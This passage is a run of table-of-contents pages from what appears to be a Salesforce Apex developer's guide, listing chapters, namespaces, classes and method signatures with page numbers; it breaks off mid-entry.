  • 9. Table of Contents Common Test Utility Classes for Test Data Creation..................................................................................364 Running Unit Test Methods.....................................................................................................................................365 Using the runAs Method...............................................................................................................................368 Using Limits, startTest, and stopTest...........................................................................................................369 Adding SOSL Queries to Unit Tests............................................................................................................370 Testing Best Practices................................................................................................................................................370 Testing Example........................................................................................................................................................371 Chapter 14: Deploying Apex....................................................................................................376 Using Change Sets To Deploy Apex.........................................................................................................................377 Using the Force.com IDE to Deploy Apex...............................................................................................................377 Using the Force.com Migration Tool........................................................................................................................377 Understanding deploy....................................................................................................................................379 Understanding retrieveCode..........................................................................................................................380 Understanding runTests()..............................................................................................................................382 Using SOAP API to Deploy Apex............................................................................................................................382 Chapter 15: Distributing Apex Using Managed Packages...........................................................383 What is a Package?....................................................................................................................................................384 Package Versions.......................................................................................................................................................384 Deprecating Apex......................................................................................................................................................384 Behavior in Package Versions....................................................................................................................................385 Versioning Apex Code Behavior....................................................................................................................385 Apex Code Items that Are Not Versioned....................................................................................................386 Testing Behavior in Package Versions...........................................................................................................386 Chapter 16: Reference.......................................................................................................................389 DML Operations..................................................................................................................................................................390 DML Statements......................................................................................................................................................390 Insert Statement.............................................................................................................................................390 Update Statement..........................................................................................................................................391 Upsert Statement...........................................................................................................................................391 Delete Statement...........................................................................................................................................392 Undelete Statement.......................................................................................................................................393 Merge Statement...........................................................................................................................................393 Bulk DML Exception Handling...................................................................................................................394 ApexPages Namespace..........................................................................................................................................................394 Action Class..............................................................................................................................................................395 Action Instance Methods..............................................................................................................................396 Component Class......................................................................................................................................................397 Dynamic Component Properties...................................................................................................................397 IdeaStandardController Class....................................................................................................................................398 IdeaStandardController Instance Methods....................................................................................................400 IdeaStandardSetController Class...............................................................................................................................400 IdeaStandardSetController Instance Methods...............................................................................................403 vii
  • 10. Table of Contents KnowledgeArticleVersionStandardController Class.................................................................................................404 KnowledgeArticleVersionStandardController Instance Methods.................................................................405 Message Class............................................................................................................................................................406 Message Instance Methods............................................................................................................................407 StandardController Class..........................................................................................................................................409 StandardController Instance Methods..........................................................................................................410 StandardSetController Class.....................................................................................................................................413 StandardSetController Instance Methods.....................................................................................................415 Approval Namespace.............................................................................................................................................................422 ProcessRequest Class.................................................................................................................................................422 ProcessRequest Instance Methods.................................................................................................................423 ProcessResult Class...................................................................................................................................................424 ProcessResult Instance Methods...................................................................................................................425 ProcessSubmitRequest Class.....................................................................................................................................427 ProcessSubmitRequest Instance Methods.....................................................................................................427 ProcessWorkitemRequest Class................................................................................................................................428 ProcessWorkitemRequest Instance Methods................................................................................................428 Auth Namespace...................................................................................................................................................................430 AuthToken Class.......................................................................................................................................................430 AuthToken Instance Methods.......................................................................................................................430 RegistrationHandler Interface...................................................................................................................................431 RegistrationHandler Instance Methods.........................................................................................................432 Storing User Information and Getting Access Tokens..................................................................................433 Auth.RegistrationHandler Example Implementation...................................................................................434 UserData Class..........................................................................................................................................................435 UserData Properties.......................................................................................................................................435 ChatterAnswers Namespace..................................................................................................................................................438 AccountCreator Interface..........................................................................................................................................439 AccountCreator Instance Methods................................................................................................................439 AccountCreator Example Implementation....................................................................................................440 ConnectApi Namespace........................................................................................................................................................440 Chatter Class.............................................................................................................................................................442 deleteSubscription(String, String).................................................................................................................442 getFollowers(String, String)...........................................................................................................................443 getFollowers(String, String, Integer, Integer)................................................................................................443 getSubscription(String, String)......................................................................................................................444 ChatterFavorites Class...............................................................................................................................................445 addFavorite(String, String, String)................................................................................................................446 addRecordFavorite(String, String, String).....................................................................................................447 deleteFavorite(String, String, String).............................................................................................................447 getFavorite(String, String, String).................................................................................................................448 getFavorites(String, String)...........................................................................................................................448 getFeedItems(String, String, String).............................................................................................................449 getFeedItems(String, String, String, String, Integer, ConnectApi.FeedSortOrder).....................................450 viii
  • 11. Table of Contents getFeedItems(String, String, String, Integer, String, Integer, FeedSortOrder).............................................451 setTestGetFeedItems(String, String, String, ConnectApi.FeedItemPage)...................................................452 setTestGetFeedItems(String, String, String, String, Integer, FeedSortOrder, ConnectApi.FeedItemPage)....................................................................................................................452 setTestGetFeedItems(String, String, String, Integer, String, Integer, FeedSortOrder, ConnectApi.FeedItemPage)....................................................................................................................453 updateFavorite(String, String, String, Boolean)............................................................................................455 ChatterFeeds Class....................................................................................................................................................455 deleteComment(String, String).....................................................................................................................461 deleteFeedItem(String, String)......................................................................................................................462 deleteLike(String, String)..............................................................................................................................462 getComment(String, String)..........................................................................................................................463 getCommentsForFeedItem(String, String)...................................................................................................463 getCommentsForFeedItem(String, String, String, Integer)..........................................................................464 getFeed(String, ConnectApi.FeedType).......................................................................................................465 getFeed(String, ConnectApi.FeedType, ConnectApi.FeedSortOrder).........................................................465 getFeed(String, ConnectApi.FeedType, String)............................................................................................466 getFeed(String, ConnectApi.FeedType, String, ConnectApi.FeedSortOrder).............................................466 getFeedItem(String, String)...........................................................................................................................467 getFeedItemsFromFeed(String, ConnectApi.FeedType)..............................................................................468 getFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedSortOrder)......468 getFeedItemsFromFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder)...................................................................................................................469 getFeedItemsFromFeed(String, ConnectApi.FeedType, String)..................................................................471 getFeedItemsFromFeed(String, ConnectApi.FeedType, String, String, Integer, ConnectApi.FeedSortOrder)...................................................................................................................471 getFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder)......................................................................................................472 getFeedItemsFromFilterFeed(String, String, String)....................................................................................474 getFeedItemsFromFilterFeed(String, String, String, String, Integer, ConnectApi.FeedSortOrder)............474 getFeedItemsFromFilterFeed(String, String, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder)...................................................................................................................476 getFeedPoll(String, String)............................................................................................................................477 getFilterFeed(String, String, String)..............................................................................................................477 getFilterFeed(String, String, String, ConnectApi.FeedType).......................................................................478 getLike(String, String)...................................................................................................................................479 getLikesForComment(String, String)...........................................................................................................479 getLikesForComment(String, String, Integer, Integer)................................................................................480 getLikesForFeedItem(String, String)............................................................................................................481 getLikesForFeedItem(String, String, Integer, Integer).................................................................................481 isModified(String, ConnectApi.FeedType, String, String)...........................................................................482 likeComment(String, String).........................................................................................................................483 likeFeedItem(String, String)..........................................................................................................................483 postComment(String, String, String)............................................................................................................484 ix
  • 12. Table of Contents postComment(String, String, ConnectApi.CommentInput, ConnectApi.BinaryInput)..............................484 postFeedItem(String, ConnectApi.FeedType, String, String)......................................................................486 postFeedItem(String, ConnectApi.FeedType, String, ConnectApi.FeedItemInput, ConnectApi.BinaryInput)........................................................................................................................487 searchFeedItems(String, String)....................................................................................................................489 searchFeedItems(String, String, ConnectApi.FeedSortOrder).....................................................................489 searchFeedItems(String, String, String, Integer)...........................................................................................490 searchFeedItems(String, String, String, Integer, ConnectApi.FeedSortOrder)............................................491 searchFeedItems(String, String, Integer, String, Integer, ConnectApi.FeedSortOrder)...............................491 searchFeedItemsInFeed(String, ConnectApi.FeedType, String)..................................................................492 searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedSortOrder, String)......................................................................................................................................................493 searchFeedItemsInFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String).......................................................................................................494 searchFeedItemsInFeed(String, ConnectApi.FeedType, String, String)......................................................495 searchFeedItemsInFeed(String, ConnectApi.FeedType, String, String, Integer, ConnectApi.FeedSortOrder, String)......................................................................................................................................................496 searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String)..........................................................................................497 searchFeedItemsInFilterFeed(String, String, String, String).........................................................................499 searchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, String, Integer, ConnectApi.FeedSortOrder, String).......................................................................................................499 searchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String)...................................501 setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, ConnectApi.FeedItemPage)...................502 setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)......................................................................503 setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)........................................................504 setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, ConnectApi.FeedItemPage)........505 setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, String, Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)......................................................................506 setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)............................................507 setTestGetFeedItemsFromFilterFeed(String, String, String, ConnectApi.FeedItemPage)..........................509 setTestGetFeedItemsFromFilterFeed(String, String, String, String, Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)....................................................................................................................509 setTestGetFeedItemsFromFilterFeed(String, String, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)........................................................511 setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, ConnectApi.FeedItemPage)........512 setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage).........................................................................................................513 setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage)............................................514 x
  • 13. Table of Contents setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, String, ConnectApi.FeedItemPage)....................................................................................................................515 setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, String, Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage)..........................................................516 setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage).................................518 setTestSearchFeedItemsInFilterFeed(String, String, String, String, ConnectApi.FeedItemPage)...............519 setTestSearchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, String, Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage)..........................................................520 setTestSearchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, Integer, ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage)....................................................................................................................521 shareFeedItem(String, ConnectApi.FeedType, String, String).....................................................................523 updateBookmark(String, String, Boolean)....................................................................................................524 voteOnFeedPoll(String, String, String).........................................................................................................525 ChatterGroups Class.................................................................................................................................................525 addMember(String, String, String)...............................................................................................................527 addMemberWithRole(String, String, String, ConnectApi.GroupMembershipType)..................................528 createGroup(String, ConnectApi.ChatterGroupInput).................................................................................529 deleteMember(String, String)........................................................................................................................529 deletePhoto(String, String)............................................................................................................................530 getGroup(String, String)...............................................................................................................................530 getGroupMembershipRequest(String, String)..............................................................................................531 getGroupMembershipRequests(String, String).............................................................................................531 getGroupMembershipRequests(String, String, ConnectApi.GroupMembershipRequestStatus).................532 getGroups(String)..........................................................................................................................................533 getGroups(String, Integer, Integer)...............................................................................................................533 getGroups(String, Integer, Integer, ConnectApi.GroupArchiveStatus)........................................................534 getMember(String, String)............................................................................................................................535 getMembers(String, String)...........................................................................................................................535 getMembers(String, String, Integer, Integer)................................................................................................536 getMyChatterSettings(String, String)...........................................................................................................536 getPhoto(String, String)................................................................................................................................537 requestGroupMembership(String, String).....................................................................................................537 searchGroups(String, String).........................................................................................................................538 searchGroups(String, String, Integer, Integer)..............................................................................................538 searchGroups(String, String, ConnectApi.GroupArchiveStatus, Integer, Integer).......................................539 setPhoto(String, String, String, Integer)........................................................................................................540 setPhoto(String, String, ConnectApi.BinaryInput).......................................................................................541 setPhotoWithAttributes(String, String, ConnectApi.PhotoInput)...............................................................542 setPhotoWithAttributes(String, String, ConnectApi.PhotoInput, ConnectApi.BinaryInput).....................543 setTestSearchGroups(String, String, ConnectApi.ChatterGroupPage)........................................................545 setTestSearchGroups(String, String, Integer, Integer, ConnectApi.ChatterGroupPage).............................544 xi
  • 14. Table of Contents setTestSearchGroups(String, String, ConnectApi.GroupArchiveStatus, Integer, Integer, ConnectApi.ChatterGroupPage).............................................................................................................545 updateGroup(String, String, ConnectApi.ChatterGroupInput)...................................................................546 updateGroupMember(String, String, ConnectApi.GroupMembershipType)..............................................547 updateMyChatterSettings(String, String, ConnectApi.GroupEmailFrequency)..........................................548 updateRequestStatus(String, String, ConnectApi.GroupMembershipRequestStatus)..................................548 ChatterMessages Class..............................................................................................................................................549 getConversation(String).................................................................................................................................551 getConversation(String, String, Integer).......................................................................................................551 getConversations().........................................................................................................................................552 getConversations(String, Integer)..................................................................................................................552 getMessage(String)........................................................................................................................................553 getMessages().................................................................................................................................................553 getMessages(String, Integer).........................................................................................................................553 getUnreadCount()..........................................................................................................................................554 markConversationRead(String, Boolean)......................................................................................................554 replyToMessage(String, String).....................................................................................................................555 searchConversation(String, String)................................................................................................................555 searchConversation(String, String, String)....................................................................................................556 searchConversations(String)..........................................................................................................................556 searchConversations(String, Integer, String).................................................................................................557 searchMessages(String)..................................................................................................................................557 searchMessages(String, Integer, String)........................................................................................................558 sendMessage(String, String)..........................................................................................................................558 ChatterUsers Class....................................................................................................................................................559 deletePhoto(String, String)............................................................................................................................561 follow(String, String, String).........................................................................................................................562 getChatterSettings(String, String).................................................................................................................562 getFollowers(String, String)...........................................................................................................................563 getFollowers(String, String, Integer, Integer)................................................................................................563 getFollowings(String, String)........................................................................................................................564 getFollowings(String, String, Integer)...........................................................................................................564 getFollowings(String, String, Integer, Integer)..............................................................................................565 getFollowings(String, String, String).............................................................................................................566 getFollowings(String, String, String, Integer)...............................................................................................566 getFollowings(String, String, String, Integer, Integer)..................................................................................567 getGroups(String, String)..............................................................................................................................568 getGroups(String, String, Integer, Integer)...................................................................................................568 getPhoto(String, String)................................................................................................................................569 getUser(String, String)...................................................................................................................................570 getUsers(String).............................................................................................................................................570 getUsers(String, Integer, Integer)..................................................................................................................571 searchUsers(String, String)............................................................................................................................571 searchUsers(String, String, Integer, Integer).................................................................................................572 xii
  • 15. Table of Contents searchUsers(String, String, String, Integer, Integer)......................................................................................572 setPhoto(String, String, String, Integer)........................................................................................................573 setPhoto(String, String, ConnectApi.BinaryInput).......................................................................................574 setPhotoWithAttributes(String, String, ConnectApi.Photo)........................................................................575 setPhotoWithAttributes(String, String, ConnectApi.Photo, ConnectApi.BinaryInput)..............................575 setTestSearchUsers(String, String, ConnectApi.UserPage)..........................................................................576 setTestSearchUsers(String, String, Integer, Integer, ConnectApi.UserPage)...............................................577 setTestSearchUsers(String, String, String, Integer, Integer, ConnectApi.UserPage)....................................578 updateChatterSettings(String, String, ConnectApi.GroupEmailFrequency)................................................578 updateUser(String, String, ConnectApi.UserInput)......................................................................................579 Communities Class....................................................................................................................................................580 getCommunities()..........................................................................................................................................580 getCommunities(ConnectApi.CommunityStatus)........................................................................................581 getCommunity(String)..................................................................................................................................581 CommunityModeration Class...................................................................................................................................582 addFlagToComment(String, String).............................................................................................................582 addFlagToFeedItem(String, String)..............................................................................................................583 getFlagsOnComment(String, String)............................................................................................................583 getFlagsOnFeedItem(String, String).............................................................................................................584 removeFlagsOnComment(String, String, String).........................................................................................584 removeFlagsOnFeedItem(String, String, String)..........................................................................................585 Organization Class....................................................................................................................................................586 getSettings()...................................................................................................................................................586 Mentions Class..........................................................................................................................................................586 getMentionCompletions(String, String, String)............................................................................................586 getMentionCompletions(String, String, String, ConnectApi.MentionCompletionType, Integer, Integer).....................................................................................................................................................587 getMentionValidations(String, String, List<String>, ConnectApi.FeedItemVisibilityType).......................588 Records Class.............................................................................................................................................................589 getMotif(String, String).................................................................................................................................589 Topics Class...............................................................................................................................................................590 assignTopic(String, String, String)................................................................................................................592 assignTopicByName(String, String, String)..................................................................................................592 deleteTopic(String, String)............................................................................................................................593 getGroupsRecentlyTalkingAboutTopic(String, String)................................................................................593 getRecentlyTalkingAboutTopicsForGroup(String, String)...........................................................................594 getRecentlyTalkingAboutTopicsForUser(String, String)..............................................................................594 getRelatedTopics(String, String)...................................................................................................................595 getTopic(String, String).................................................................................................................................595 getTopics(String, String)...............................................................................................................................596 getTopics(String)...........................................................................................................................................596 getTopics(String, ConnectApi.TopicSort)....................................................................................................597 getTopics(String, Integer, Integer)................................................................................................................597 getTopics(String, Integer, Integer, ConnectApi.TopicSort).........................................................................598 xiii
  • 16. Table of Contents getTopics(String, String, ConnectApi.TopicSort)........................................................................................599 getTopics(String, String, Integer, Integer)....................................................................................................599 getTopics(String, String, Integer, Integer, ConnectApi.TopicSort).............................................................600 getTopicSuggestions(String, String, Integer)................................................................................................601 getTopicSuggestions(String, String)..............................................................................................................601 getTopicSuggestionsForText(String, String, Integer)...................................................................................602 getTopicSuggestionsForText(String, String).................................................................................................603 getTrendingTopics(String)............................................................................................................................603 getTrendingTopics(String, Integer)...............................................................................................................604 unassignTopic(String, String, String)............................................................................................................604 updateTopic(String, String, ConnectApi.TopicInput)..................................................................................605 UserProfiles Class......................................................................................................................................................605 getUserProfile(String, String)........................................................................................................................606 Zones Class...............................................................................................................................................................606 getZone(String, String).................................................................................................................................607 getZones(String)............................................................................................................................................607 getZones(String, Integer, Integer).................................................................................................................607 searchInZone(String, String, String, ConnectApi.ZoneSearchResultType).................................................608 searchInZone(String, String, String, ConnectApi.ZoneSearchResultType, String, Integer)........................609 ConnectApi Input Classes.........................................................................................................................................610 ConnectApi Output Classes......................................................................................................................................616 ConnectApi Enums...................................................................................................................................................659 ConnectApi Exceptions.............................................................................................................................................667 Database Namespace.............................................................................................................................................................667 Batchable Interface....................................................................................................................................................668 Batchable Instance Methods..........................................................................................................................669 BatchableContext Interface.......................................................................................................................................670 BatchableContext Instance Methods.............................................................................................................671 DeletedRecord Class.................................................................................................................................................671 DeletedRecord Instance Methods.................................................................................................................672 DeleteResult Class.....................................................................................................................................................673 DeleteResult Instance Methods.....................................................................................................................673 DMLOptions Class...................................................................................................................................................675 DmlOptions Properties.................................................................................................................................675 DmlOptions.AssignmentRuleHeader Class..............................................................................................................677 DmlOptions.AssignmentRuleHeader Properties..........................................................................................678 DmlOptions.EmailHeader Class...............................................................................................................................678 DmlOptions.EmailHeader Properties...........................................................................................................679 EmptyRecycleBinResult Class...................................................................................................................................681 EmptyRecycleBinResult Instance Methods...................................................................................................681 Error Class.................................................................................................................................................................682 Error Instance Methods.................................................................................................................................682 GetDeletedResult Class.............................................................................................................................................683 GetDeletedResult Instance Methods.............................................................................................................684 xiv
  • 17. Table of Contents GetUpdatedResult Class...........................................................................................................................................685 GetUpdatedResult Instance Methods...........................................................................................................685 LeadConvert Class....................................................................................................................................................686 LeadConvert Instance Methods....................................................................................................................687 LeadConvertResult Class..........................................................................................................................................694 LeadConvertResult Instance Methods..........................................................................................................694 MergeResult Class.....................................................................................................................................................696 MergeResult Instance Methods.....................................................................................................................696 QueryLocator Class...................................................................................................................................................698 QueryLocator Instance Methods...................................................................................................................698 QueryLocatorIterator Class.......................................................................................................................................699 QueryLocatorIterator Instance Methods.......................................................................................................700 SaveResult Class........................................................................................................................................................701 SaveResult Instance Methods........................................................................................................................702 UndeleteResult Class.................................................................................................................................................703 UndeleteResult Instance Methods.................................................................................................................703 UpsertResult Class.....................................................................................................................................................704 UpsertResult Instance Methods.....................................................................................................................705 Dom Namespace...................................................................................................................................................................706 Document Class........................................................................................................................................................707 Document Instance Methods........................................................................................................................707 XmlNode Class..........................................................................................................................................................709 XmlNode Instance Methods..........................................................................................................................709 Flow Namespace....................................................................................................................................................................719 Interview Class..........................................................................................................................................................719 Interview Instance Methods..........................................................................................................................719 KbManagement Namespace..................................................................................................................................................720 PublishingService Class.............................................................................................................................................720 PublishingService Static Methods.................................................................................................................721 Messaging Namespace...........................................................................................................................................................731 Email Class (Base Email Methods)...........................................................................................................................732 Email Instance Methods................................................................................................................................732 EmailFileAttachment Class.......................................................................................................................................735 EmailFileAttachment Instance Methods.......................................................................................................735 InboundEmail Class..................................................................................................................................................737 InboundEmail Properties...............................................................................................................................737 InboundEmail.BinaryAttachment Class....................................................................................................................742 InboundEmail.BinaryAttachment Properties................................................................................................742 InboundEmail.Header Class.....................................................................................................................................743 InboundEmail.Header Properties..................................................................................................................743 InboundEmail.TextAttachment Class.......................................................................................................................744 InboundEmail.TextAttachment Properties...................................................................................................744 InboundEmailResult Class........................................................................................................................................745 InboundEmailResult Properties.....................................................................................................................746 xv
  • 18. Table of Contents InboundEnvelope Class.............................................................................................................................................746 InboundEnvelope Properties.........................................................................................................................747 MassEmailMessage Class..........................................................................................................................................747 MassEmailMessage Instance Methods..........................................................................................................748 SendEmailError Class...............................................................................................................................................749 SendEmailError Instance Methods...............................................................................................................750 SendEmailResult Class..............................................................................................................................................751 SendEmailResult Instance Methods..............................................................................................................751 SingleEmailMessage Methods..................................................................................................................................752 SingleEmailMessage Instance Methods........................................................................................................752 Process Namespace................................................................................................................................................................759 Plugin Interface.........................................................................................................................................................760 Plugin Instance Methods...............................................................................................................................760 Plugin Example Implementation...................................................................................................................761 PluginDescribeResult Class.......................................................................................................................................762 PluginDescribeResult Properties...................................................................................................................762 PluginDescribeResult.InputParameter Class.............................................................................................................764 PluginDescribeResult.InputParameter Properties.........................................................................................764 PluginDescribeResult.OutputParameter Class..........................................................................................................765 PluginDescribeResult.OutputParameter Properties......................................................................................765 PluginRequest Class..................................................................................................................................................766 PluginRequest Properties...............................................................................................................................767 PluginResult Class.....................................................................................................................................................767 PluginResult Properties.................................................................................................................................767 QuickAction Namespace.......................................................................................................................................................767 DescribeAvailableQuickActionResult Class..............................................................................................................768 DescribeAvailableQuickActionResult Instance Methods..............................................................................769 DescribeLayoutComponent Class.............................................................................................................................770 DescribeLayoutComponent Instance Methods.............................................................................................770 DescribeLayoutItem Class.........................................................................................................................................771 DescribeLayoutItem Instance Methods.........................................................................................................772 DescribeLayoutRow Class.........................................................................................................................................774 DescribeLayoutRow Instance Methods.........................................................................................................774 DescribeLayoutSection Class....................................................................................................................................775 DescribeLayoutSection Instance Methods....................................................................................................775 DescribeQuickActionDefaultValue Class..................................................................................................................777 DescribeQuickActionDefaultValue Instance Methods..................................................................................777 DescribeQuickActionResult Class.............................................................................................................................778 DescribeQuickActionResult Instance Methods.............................................................................................779 QuickActionRequest Class........................................................................................................................................784 QuickActionRequest Instance Methods........................................................................................................785 QuickActionResult Class...........................................................................................................................................787 QuickActionResult Instance Methods...........................................................................................................788 Schema Namespace...............................................................................................................................................................789 xvi
  • 19. Table of Contents ChildRelationship Class............................................................................................................................................790 ChildRelationship Instance Methods............................................................................................................791 DataCategory Class...................................................................................................................................................793 DataCategory Instance Methods...................................................................................................................793 DescribeColorResult Class........................................................................................................................................794 DescribeColorResult Instance Methods........................................................................................................795 DescribeDataCategoryGroupResult Class................................................................................................................796 DescribeDataCategoryGroupResult Instance Methods................................................................................797 DataCategoryGroupSobjectTypePair Class..............................................................................................................799 DataCategoryGroupSobjectTypePair Instance Methods..............................................................................799 DescribeDataCategoryGroupStructureResult Class..................................................................................................800 DescribeDataCategoryGroupStructureResult Instance Methods..................................................................801 DescribeFieldResult Class.........................................................................................................................................803 DescribeFieldResult Instance Methods.........................................................................................................803 DescribeIconResult Class..........................................................................................................................................820 DescribeIconResult Instance Methods..........................................................................................................820 DescribeSObjectResult Class....................................................................................................................................822 DescribeSObjectResult Instance Methods....................................................................................................823 DescribeTabResult Class...........................................................................................................................................832 DescribeTabResult Instance Methods...........................................................................................................832 DescribeTabSetResult Class......................................................................................................................................835 DescribeTabSetResult Instance Methods......................................................................................................836 DisplayType Enum....................................................................................................................................................838 FieldSet Class............................................................................................................................................................839 FieldSet Instance Methods............................................................................................................................840 FieldSetMember Class..............................................................................................................................................843 FieldSetMember Instance Methods..............................................................................................................843 PicklistEntry Class.....................................................................................................................................................845 PicklistEntry Instance Methods.....................................................................................................................846 RecordTypeInfo Class...............................................................................................................................................847 RecordTypeInfo Instance Methods...............................................................................................................848 SOAPType Enum.....................................................................................................................................................849 SObjectField Class....................................................................................................................................................850 PicklistEntry Instance Methods.....................................................................................................................850 SObjectType Class....................................................................................................................................................851 SObjectType Instance Methods....................................................................................................................851 Site Namespace.....................................................................................................................................................................853 UrlRewriter Interface.................................................................................................................................................854 UrlRewriter Instance Methods......................................................................................................................854 Support Namespace...............................................................................................................................................................855 EmailTemplateSelector Interface..............................................................................................................................855 EmailTemplateSelector Instance Methods....................................................................................................855 EmailTemplateSelector Example Implementation........................................................................................856 System Namespace................................................................................................................................................................857 xvii
  • 20. Table of Contents Answers Class............................................................................................................................................................861 Answers Static Methods................................................................................................................................862 ApexPages Class........................................................................................................................................................863 ApexPages Instance Methods........................................................................................................................863 Approval Class...........................................................................................................................................................865 Approval Static Methods...............................................................................................................................865 Blob Class..................................................................................................................................................................867 Blob Static Methods......................................................................................................................................868 Blob Instance Methods..................................................................................................................................869 Boolean Class............................................................................................................................................................869 Boolean Static Methods.................................................................................................................................870 BusinessHours Class..................................................................................................................................................871 BusinessHours Static Methods......................................................................................................................871 Cases Class................................................................................................................................................................874 Cases Static Methods.....................................................................................................................................875 Cookie Class..............................................................................................................................................................875 Cookie Instance Methods..............................................................................................................................877 Crypto Class..............................................................................................................................................................879 Crypto Static Methods..................................................................................................................................880 Custom Settings Methods.........................................................................................................................................886 List Custom Setting Instance Methods.........................................................................................................891 Hierarchy Custom Setting Instance Methods...............................................................................................893 Comparable Interface................................................................................................................................................896 Comparable Instance Methods......................................................................................................................897 Comparable Example Implementation..........................................................................................................897 Database Class...........................................................................................................................................................898 Database Static Methods...............................................................................................................................898 Date Class..................................................................................................................................................................925 Date Static Methods......................................................................................................................................925 Date Instance Methods..................................................................................................................................929 Datetime Methods....................................................................................................................................................935 Datetime Static Methods...............................................................................................................................935 Datetime Instance Methods..........................................................................................................................942 Decimal Class............................................................................................................................................................955 Rounding Mode.............................................................................................................................................955 Decimal Static Methods................................................................................................................................957 Decimal Instance Methods............................................................................................................................958 Double Class..............................................................................................................................................................966 Double Static Methods..................................................................................................................................967 Double Instance Methods..............................................................................................................................968 EncodingUtil Class....................................................................................................................................................970 EncodingUtil Static Methods........................................................................................................................970 Enum Methods.........................................................................................................................................................972 Exception Class and Built-In Exceptions..................................................................................................................973 xviii
  • 21. Table of Contents Http Class.................................................................................................................................................................976 Http Instance Methods.................................................................................................................................976 HttpCalloutMock Interface.......................................................................................................................................977 HttpCalloutMock Instance Methods............................................................................................................977 HttpRequest Class.....................................................................................................................................................977 HttpRequest Instance Methods.....................................................................................................................978 HttpResponse Class..................................................................................................................................................986 HttpResponse Instance Methods..................................................................................................................987 Id Class......................................................................................................................................................................993 Id Static Methods..........................................................................................................................................994 Id Instance Methods......................................................................................................................................994 Ideas Class.................................................................................................................................................................997 Ideas Static Methods...................................................................................................................................1000 InstallHandler Interface...........................................................................................................................................1002 InstallHandler Instance Methods................................................................................................................1003 InstallHandler Example Implementation....................................................................................................1003 Integer Class............................................................................................................................................................1004 Integer Static Methods................................................................................................................................1005 Integer Instance Methods............................................................................................................................1006 JSON Class..............................................................................................................................................................1007 JSON Static Methods..................................................................................................................................1007 JSONGenerator Class.............................................................................................................................................1012 JSONGenerator Instance Methods.............................................................................................................1012 JSONParser Class....................................................................................................................................................1025 JSONParser Instance Methods....................................................................................................................1025 JSONToken Enum..................................................................................................................................................1037 Limits Class.............................................................................................................................................................1038 Limits Static Methods.................................................................................................................................1039 List Class.................................................................................................................................................................1055 List Instance Methods.................................................................................................................................1055 Long Class...............................................................................................................................................................1066 Long Static Methods...................................................................................................................................1067 Long Instance Methods...............................................................................................................................1067 Map Class................................................................................................................................................................1068 Map Instance Methods................................................................................................................................1068 Matcher Class..........................................................................................................................................................1078 Matcher Static Methods..............................................................................................................................1078 Matcher Instance Methods..........................................................................................................................1079 Math Class..............................................................................................................................................................1090 Math Static Methods...................................................................................................................................1091 Messaging Class......................................................................................................................................................1114 Messaging Instance Methods......................................................................................................................1114 MultiStaticResourceCalloutMock Class..................................................................................................................1117 MultiStaticResourceCalloutMock Instance Methods..................................................................................1117 xix
  • 22. Table of Contents Network Class.........................................................................................................................................................1119 Network Instance Methods.........................................................................................................................1119 PageReference Class................................................................................................................................................1121 PageReference Instance Methods................................................................................................................1123 Pattern Class............................................................................................................................................................1129 Pattern Static Methods................................................................................................................................1129 Pattern Instance Methods............................................................................................................................1131 QuickAction Class...................................................................................................................................................1133 QuickAction Static Methods.......................................................................................................................1133 ResetPasswordResult Class......................................................................................................................................1137 ResetPasswordResult Instance Methods......................................................................................................1137 RestContext Class...................................................................................................................................................1137 RestContext Properties................................................................................................................................1138 RestRequest Class....................................................................................................................................................1138 RestRequest Properties................................................................................................................................1139 RestRequest Instance Methods....................................................................................................................1142 RestResponse Class.................................................................................................................................................1143 RestResponse Properties..............................................................................................................................1143 RestResponse Instance Methods.................................................................................................................1145 Schedulable Interface...............................................................................................................................................1146 Schedulable Instance Methods....................................................................................................................1146 SchedulableContext Interface..................................................................................................................................1147 SchedulableContext Instance Methods........................................................................................................1147 Schema Class...........................................................................................................................................................1148 Schema Static Methods...............................................................................................................................1148 Search Class.............................................................................................................................................................1152 Search Static Methods.................................................................................................................................1152 SelectOption Class..................................................................................................................................................1153 SelectOption Instance Methods..................................................................................................................1154 Set 